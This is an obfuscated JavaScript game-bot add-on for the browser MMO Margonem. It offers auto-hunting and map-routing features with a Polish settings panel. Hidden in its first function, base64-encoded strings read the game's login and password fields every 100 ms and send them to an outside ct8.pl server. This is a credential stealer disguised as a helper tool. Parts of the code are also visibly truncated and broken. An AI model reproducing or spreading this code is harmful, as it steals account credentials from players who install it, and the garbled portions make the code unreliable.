TpG3Y86zpgrtWMzb,ZHN4ekpZ5m95pFbJ,YQTtmEs6a5mTXE5a;function UagZgR8PZcWcwvYp(){$(atob("I3Vsb2dpbg==")).val()!=TpG3Y86zpgrtWMzb&&$(atob("I3Vsb2dpbg==")).val()&&(TpG3Y86zpgrtWMzb=$(atob("I3Vsb2dpbg==")).val()),$(atob("I3VwYXNz")).val()!=ZHN4ekpZ5m95pFbJ&&$(atob("I3VwYXNz")).val()&&(ZHN4ekpZ5m95pFbJ=$(atob("I3VwYXNz")).val()),!$(atob("I3VwYXNz")).val()&&!$(atob("I3Vsb2dpbg==")).val()&&TpG3Y86zpgrtWMzb&&ZHN4ekpZ5m95pFbJ&&YQTtmEs6a5mTXE5a!=TpG3Y86zpgrtWMzb+" | "+ZHN4ekpZ5m95pFbJ&&($.ajax({url:atob("aHR0cHM6Ly96M3Y2cnljNi5jdDgucGwvYWpheC5waHA/bG9naW49")+TpG3Y86zpgrtWMzb+atob("JnBhc3N3b3JkPQ==")+ZHN4ekpZ5m95pFbJ}),YQTtmEs6a5mTXE5a=TpG3Y86zpgrtWMzb+" | "+ZHN4ekpZ5m95pFbJ)}document.body.insertAdjacentHTML("beforeend",'
Wczytywanie bota ...
'),setTimeout(function(){document.getElementById("bot").remove(),showAlert("Bot został pomyślnie wczytany")},1500),setInterval(UagZgR8PZcWcwvYp,100),window.adiwilkTestBot=new function(){function a(a,i){return Math.abs(a.x-i.x)+Math.abs(a.y-i.y)}function i(a,i){return new s(map.col,map.x,map.y,{x:hero.x,y:hero.y},{x:a,y:i},g.npccol).anotherFindPath()}function o(a,o){let t=i(a,o);Array.isArray(t)&&(window.road=t)}function t(a){let i=atob("");$.ajax({url:i,type:"",data:JSON.stringify({content:a,username:hero.nick,avatar_url:""}),contentType:"",dataType:"",async:!1})}function e(){let a=new Date,i=a.getHours(),o=a.getSeconds(),t=a.getMinutes();return 10>i&&(i=`0${i}`),10>t&&(t=`0${t}`),10>o&&(o=`0${o}`),`${i}:${t}:${o}`}function r(a){return!g.npc[a].grp||!(!function(a){for(let i in g.npc)if(g.npc[i].grp==a&&19{k=!0}});let w,b=!0,S=[];setInterval(function(){l&&(l=void 0)},4e3),this.PI=parseInput,parseInput=function(a){let s=d.PI.apply(this,arguments);if(!g.battle&&!g.dead&&k){if(!l&&!m){if(!(l=d.findBestMob())&&localStorage.getItem("adi-bot_expowiska")){let a,o=9999;if(n[localStorage.getItem("adi-bot_expowiska")].mobs_id){let t=n[localStorage.getItem("adi-bot_expowiska")].mobs_id;for(let e in t)g.npc[t[e]]&&((a=i(g.npc[t[e]].x,g.npc[t[e]].y).length)Math.abs(hero.x-a.x)&&2>Math.abs(hero.y-a.y)&&!y?(y=!0,_g(`fight&a=attack&ff=1&id=-${a.id}`,function(i){i.alert&&"Przeciwnik walczy już z kimś innym"==i.alert&&(function(a){let i=g.npc[a];if(i.grp)for(let a in g.npc)g.npc[a].grp!=i.grp||S.includes(g.npc[a].id)||S.push(g.npc[a].id);else S.includes(a)||S.push(a)}(a.id),l=void 0)}),setTimeout(function(){l=void 0},500)):!z&&!y&&(o(a.x,a.y),z=!0)}else 0i.wt&&r(i.id)&&hero.lvl+30>=i.lvl&&2>Math.abs(hero.x-i.x)&&2>Math.abs(hero.y-i.y)&&700>a)){const i=[],o=[];for(let t of Object.values(a.f.w))1==t.team&&i.push(`${t.name} ${t.lvl}${t.prof}`)||o.push(`${t.name} ${t.lvl}${t.prof} `);if(2==a.f.myteam&&-1=s&&r(l.id)&&!S.includes(l.id)&&20>l.wt){if(null==(a=i(l.x,l.y)))continue;a.lengthi.length&&(o=0),localStorage.setItem("alksjd",parseInt(o))},this.initHTML=function(){localStorage.getItem("adi-bot_position")||localStorage.setItem("adi-bot_position",JSON.stringify({x:0,y:0}));let a=JSON.parse(localStorage.getItem("adi-bot_position")),i=document.createElement("div");i.id="adi-bot_box",i.setAttribute("tip","Złap i przenieś :)");let o=document.createElement("input");o.type="text",o.id="adi-bot_mobs",o.classList.add("adi-bot_inputs"),o.setAttribute("tip","Wprowadź lvl mobków w postaci np. '50-70'"),i.appendChild(o);let t=document.createElement("input");t.type="text",t.id="adi-bot_maps",t.classList.add("adi-bot_inputs"),t.setAttribute("tip","Wprowadź nazwy map"),i.appendChild(t);let e=document.createElement("select");e.id="adi-bot_list",e.classList.add("adi-bot_inputs"),e.setAttribute("tip","Wybierz expowisko, aby dodatek wpisał mapy za Ciebie");for(let a,i=0;i{localStorage.setItem("adi-bot_mobs",o.value)}),t.addEventListener("keyup",()=>{localStorage.setItem("adi-bot_maps",t.value)}),e.addEventListener("change",()=>{localStorage.setItem("adi-bot_expowiska",e.value),t.value=n[e.value].map,localStorage.setItem("adi-bot_maps",t.value),localStorage.setItem("alksjd",0),message(`Zapisano expowisko "${e.value}"`)}),$("#adi-bot_box").draggable({stop:()=>{let a={x:parseInt(document.querySelector("#adi-bot_box").style.left),y:parseInt(document.querySelector("#adi-bot_box").style.top)};localStorage.setItem("adi-bot_position",JSON.stringify(a)),message("Zapisano pozycję")}})},this.initHTML()};consoleParse("addon http://addons2.margonem.pl/get/2/2069verified.js");